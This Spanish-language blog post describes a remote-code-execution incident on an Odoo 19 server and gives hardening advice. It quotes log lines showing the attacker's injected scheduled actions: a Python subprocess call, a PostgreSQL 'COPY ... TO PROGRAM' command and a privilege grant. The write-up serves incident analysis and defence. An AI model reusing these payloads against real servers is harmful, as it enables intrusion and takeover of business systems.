Otro ejemplo más de RCE utilizando Odoo

27 de julio de 2026 por
Gustavo Orrillo
| Sin comentarios aún
 

Dos meses atrás vi una instalación de Odoo que había recibido un ataque de malware. El mismo se encuentra detallado en este post. Básicamente fue un ataque en el cual se quería utilizar el servidor para minado de criptomonedas. Como fue encontrado? Cuando el servidor empezó a mostrar en forma continua una inusual ocupación de sus CPUs.

El caso que ví el fin de semana fue diferente. Fue una vulnerabilidadd en el cual se buscó instalar código en el servidor para utilizarlo para otras tareas. El mismo fue encontrado revisando los logs de Odoo que se encontraban en modo debug; donde encontramos líneas como esta:

2026-07-23 06:36:17,903 3605196 INFO thewire odoo.addons.base.models.ir_cron: Job 'RCESQL' (50) starting              2026-07-23 06:36:17,909 3605196 DEBUG thewire odoo.addons.base.models.ir_cron: cron.object.execute('thewire', 2, '*', 'RCESQL', 866)
2026-07-23 06:36:17,921 3605196 DEBUG thewire odoo.addons.base.models.ir_cron: Job 'RCESQL' (50) processed 0 records, 0 records remaining
2026-07-23 06:36:17,921 3605196 INFO thewire odoo.addons.base.models.ir_cron: Job 'RCESQL' (50) fully done (#loop 1; done 0; remaining 0; duration 0.02s)
2026-07-23 06:36:18,059 3605196 DEBUG thewire odoo.addons.base.models.ir_cron: job 50 updated and released
2026-07-23 06:36:18,059 3605196 DEBUG thewire odoo.addons.base.models.ir_cron: job 51 acquired
2026-07-23 06:36:18,062 3605196 INFO thewire odoo.addons.base.models.ir_cron: Job 'RCECOPY' (51) starting

Lo cual lo hacía sumamente sospechoso. En base a mi experiencia anterior, decidí chequear los parámetros, las acciones planificadas y las acciones de servidor. En acciones planificadas encontré acciones que se crearon con comandos como los siguientes que se detallan en el log:

2026-07-09 12:04:33,070 1725690 DEBUG thewire odoo.service.model: call ir.cron().create({'name': 'RCE Test', 'model_id': 1, 'code': "import subprocess,os; r = subprocess.run('id', shell=True, capture_output=True, text=True); env['ir.config_parameter'].sudo().set_param('rce_result', r.stdout.strip())", 'interval_number': 1, 'interval_type': 'minutes', 'active': True}) 
2026-07-09 12:04:56,441 1725690 DEBUG thewire odoo.service.model: call ir.cron().create({'name': 'RCESQL', 'model_id': 1, 'code': 'env.cr.execute("CREATE TABLE IF NOT EXISTS rce_poc (output text)")', 'interval_number': 1, 'interval_type': 'minutes', 'active': True})
2026-07-09 12:04:57,219 1725690 DEBUG thewire odoo.service.model: call ir.cron().create({'name': 'RCECOPY', 'model_id': 1, 'code': 'env.cr.execute("COPY (SELECT \'RCE_OK\') TO PROGRAM \'id > /tmp/odoo_rce.txt\'")', 'interval_number': 1, 'interval_type': 'minutes', 'active': True})
2026-07-09 12:04:58,220 1725690 DEBUG thewire odoo.service.model: call ir.cron().create({'name': 'RCEGRANT', 'model_id': 1, 'code': 'env.cr.execute("GRANT pg_execute_server_program TO CURRENT_USER")', 'interval_number': 1, 'interval_type': 'minutes', 'active': True}

El ataque se había realizado utilizando Odoo. Un extraño pudo hacer login en Odoo como el usuario admin (había adivinado el password) y en forma automática (mediante una herramienta como xmlrpc) había inyectado acciones planificadas que crearon nuevos parámetros, acciones de servidor y descargaron en el servidor archivos desde otros servidores. Bastante feo...

Bueno, que se puede hacer al respecto? Lo primero es habilitar la autenticación de dos factores para todos los usuarios. Pero no es suficiente. Vamos a necesitar un mecanismo extra para autenticar, por ejemplo asegurarnos que el visitante proviene e una serie de direcciones IPs seleccionadas. Sobre todo si hablamos de usuarios que utilizan xmlrpc, donde la autenticación con dos factores no es una opción.

Después vamos a necesitar instalar módulos para aumentar la seguridad de los passwords, por ejemplo los módulos del repositorio server-auth de OCA. Algo más que podemos hacer es revisar los logs para encontrar actividades sospechosas. Nunca está demás revisar un log.

Pero además, necesitamos de alguna manera sanitizar los contenidos de las acciones de servidor y acciones planificadas. En este momento Odoo permite inyectar cualquier cosa en las mismas (este ataque ocurrió en un Odoo 19 Enterprise) y necesitamos de alguna manera no solo bloquear la creación de las acciones sospechosas, sino además bloquear la ejecución de las mismas.

Por último; al que quiera el código del ataque solo me lo tiene que pedir. No lo quiero compartir publicamente para no dar malas ideas.

Gustavo Orrillo 27 de julio de 2026
Compartir
Archivar
Identificarse dejar un comentario